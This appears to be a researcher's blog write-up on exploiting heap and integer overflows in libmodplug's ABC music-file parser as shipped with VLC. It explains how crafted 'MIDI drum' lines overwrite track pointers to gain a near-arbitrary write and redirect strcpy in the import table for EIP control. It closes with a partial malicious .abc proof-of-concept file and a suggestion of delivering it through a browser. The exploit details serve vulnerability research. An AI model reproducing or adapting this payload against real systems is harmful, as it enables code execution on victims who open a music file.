VLC + ABC parsing seems to be a CTF challenge

Checking the libmodplug source code with 0vercl0k some years ago, we gave up on the abc file parsing because it was too indigest and we were too lazy…

For fun, last week, I decided to take the bull by the horns.

ABC soundsystem !

The abc format is defined as “the text-based music notation system” it rings like midi files and so has a complex syntaxe (close to the musician tablature).

T:Sadi Moma
C:Trad.
M:7/4
L:1/8
F:http://www.gnu.org/music/sadi-moma.abc
Z:Joakim Olsson
K:G
O:Bulgarian
V:1
d2 c B2 A2|B2 c B A G2|G3 A3 B|c3 B2 B d|A3 A4|d2 c B4|d2 c B2 A2|B2 c B A G2|
G3 A3 B|c3 B2 B d|A3 A4|A7|]
V:2
B2 A G2 D2|G2 G G2 D2|G3 G4|G3 G2 G2|D3 D4|G7|B2 A G2 D2|G2 G G2 D2|G3 G4|
G3 G2 G2|D3 D4|E7|]

More abc definition and exemple can be found on http://abcnotation.com/

Anyway, libmodplug is the library that allows reading this kind of file format and is shipped with VLC.
You can check all this marvelous 5189 lines of code here.

Complexity == bugs

A lot of crash can be found just by fuzzing this file format, 0vercl0k has quickly tried that with Radamsa and the results were a lot of “divide by zero” and others non exploitable bugs.

Happily reading the code I found one integer overflow leading to heap overflow and one other heap overflow.

The first one is in abc_set_parts() that you can trigger using the “P:” case. This function allows the usage of a kind of compression syntax as explain in a comment L1833 : // decode constructs like “((AB)2.(CD)2)3.(AB)E2” to “ABABCDCDABABCDCDABABCDCDABEE”

It starts to count how many bytes it will need to allocate before uncompress the string.

j=0;
k=0;
for( i=0; p[i] && p[i] != '%'; i++ ) {
 if( isupper(p[i]) ) {
  j++;
 }
 if( isdigit(p[i]) ) {
  n=abc_getnumber(p+i,&k);
  if( k == 0 )
   k = 1;
  if( p[i-1] == ')' )
   j *= k; // never mind multiple parens, just take the worst case
  else
   j += k-1;
  i += n-1;
 }
}
q = (char *)_mm_calloc(h, j+1, sizeof(char)); // enough storage for the worst case

abc_getnumber() converts a decimal string into integer so it’s easy to make j equals to 0xffffffff and so allocate 0 byte in _mm_calloc function.

A big problem here is the charset defined line 1825 : “ABCDEFGHIJKLMNOPQRSTUVWXYZ().0123456789 ” so it seems difficult to successfully exploit this bug with only upper alphanumerical chars.

The second one occurs in abc_MIDI_drum() and abc_MIDI_gchord().
In this two cases, bytes are copied in a fixed 80 bytes buffer in ABCHANDLE structure until the copied byte is no longer in a charset.

Again in this case, the charset limits the impact of our overflow. (“fbcz0123456789ghijGHIJ” for gchord and  “dz0123456789” for drum).

Then I started to cry, thinking the only way would be to exploit heap allocator using house of poney technique with this limited charset…

CTF begins o/

Some other path (maybe to a successfull exploit) appears before attacking the allocator.

Indeed, we overflow a buffer in the middle of ABCHANDLE structure so there are some interesting pointers we may control.

ABCTRACK *tp, *tpc, *tpr;

And if we look closely to abc_MIDI_drum() it actually appears possible to write any byte we want.

It firstly counts how many ‘d’ there is in your string, then writes integers from your string following the ‘d’ separated by space converted by abc_getnumber() in h->drumins then h->drumvol (that are fixed 80 bytes buffer too)  !!! Add to this the fact that it writes a ‘1’ after each ‘d’ it copies and that makes this exploit exactly like a CTF brainfuck challenge :).

Brainfuck 1

Using this funny feature, it is possible to control the three pointers without breaking heap structure.

To do this we need to calculate the space between the drum buffer and the tp pointer.

char drum[80]; // last setting for drum 
char drumins[80]; // last setting for drum 
char drumvol[80]; // last setting for drum 
uint32_t barticks;
//parse variables, declared here to avoid parameter pollution
int abcchordvol, abcchordprog, abcbassvol, abcbassprog;
int ktrans;
int drumon, gchordon, droneon;
int dronegm, dronepitch[2], dronevol[2];
ABCTRACK *tp, *tpc, *tpr;

80*3+4*14 = 296

So we write 152 ‘d’ that will become 152 ‘d1’ == 304 bytes  to overflow tp and tpc pointer.

But, after that, it writes the numbers following your ‘d’ chain after 80 bytes of ‘d1’ as many time it finds ‘d1’. So to prevent stopping the numbers copy, we have to write 152/2=76 ’99 48′ that will fill the drumins buffer with ‘d1′ (99+1==’d’ and 48+1==’1′) and then continue the number copy in the drumvol buffer.

This time no incrementation occurs so we will write 76 ‘100 49’.

Now the pt address is equal to ‘d1d1’.

drumvol buffer is placed 296-(80*2)=136 bytes before the pt pointer.

So, to control the pt pointer, we have to write.

'd'*152+' 99 48'*76+' 100 49'*68+' 1 2 3 4 5 6 7 8 9 10 11 12 100 49 100 49'

So pt = 0x04030201

Brainfuck 2

Now the challenge is to find a path where the h->pt pointer is used with some data we control and achieve an arbitrary write.

In every abc syntaxe possibilities, it seems to be a way !

Two functions must be avoid : abc_locate_track() and abc_add_event() that rewrite tp pointer or write non controlled data in it.

When you begin a line with a ‘+’ it is possible to call abc_parse_decorations() without calling this two functions.

It’s the line 2316 that interest us “tp->volume = vol;”

As we control tp pointer, vol value will be writed at the address we want ! But unfortunately, vol value can only be 0, 1, 15, 30, 45, 60, 75, 90, 100, 105, 120, 125 or 127.

POC Exploitation

Almost perfect ! We have an arbitrary write (almost) that we can call as many times as we want.

What can we do with this… I didn’t find any idea to bypass ASLR nor NX mitigation so I at least focused on a POC on the VLC 2.0.7 under windows XP without ASLR nor NX (that’s just a CTF-like challenge after all ^^).

The idea is to rewrite the strcpy address in the Import Table that we can call line 4159 “strcpy(buf,m_szNames[0]);” with buffers we control. If we can convert strcpy into a pop + ret, we win !

To find this, we tried on each strcpy address byte, every bytes we can from abc_parse_decorations().

And that’s worked !

To resume + POC

To quickly resume, using overflow we can overwrite an ABCTRACK structure pointer in the ABCHANDLE structure then write some few bytes in the vol variable of ABCTRACK. We choose to change the strcpy pointer in the import table into a ‘pop + ret’ gadget. Then we change the title triggering the false strcpy and controling the EIP.

The following part of the shellcode ! (166 bytes long)
X:1
T:some shellcode (36 bytes long)
M:6/8
L:1/8
R:jig
K:G
I:MIDI drum dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 35 100 76 101 5 6 7 8 9 10 11 12 100 49 100 49
+ffffffffffffffffffffffffffffffffff+
I:MIDI drum dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 36 100 76 101 5 6 7 8 9 10 11 12 100 49 100 49
+ppppppppppppppppppppppppppppppppp+
I:MIDI drum dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 36 100 76 101 5 6 7 8 9 10 11 12 100 49 100 49
+ppppppppppppppppppppppppppppppppp+
T:Let's crash !

Maybe some guys will find a better way to exploit it, maybe using firefox to call vlc on the malicious abc file, maybe another way…

Thx for reading !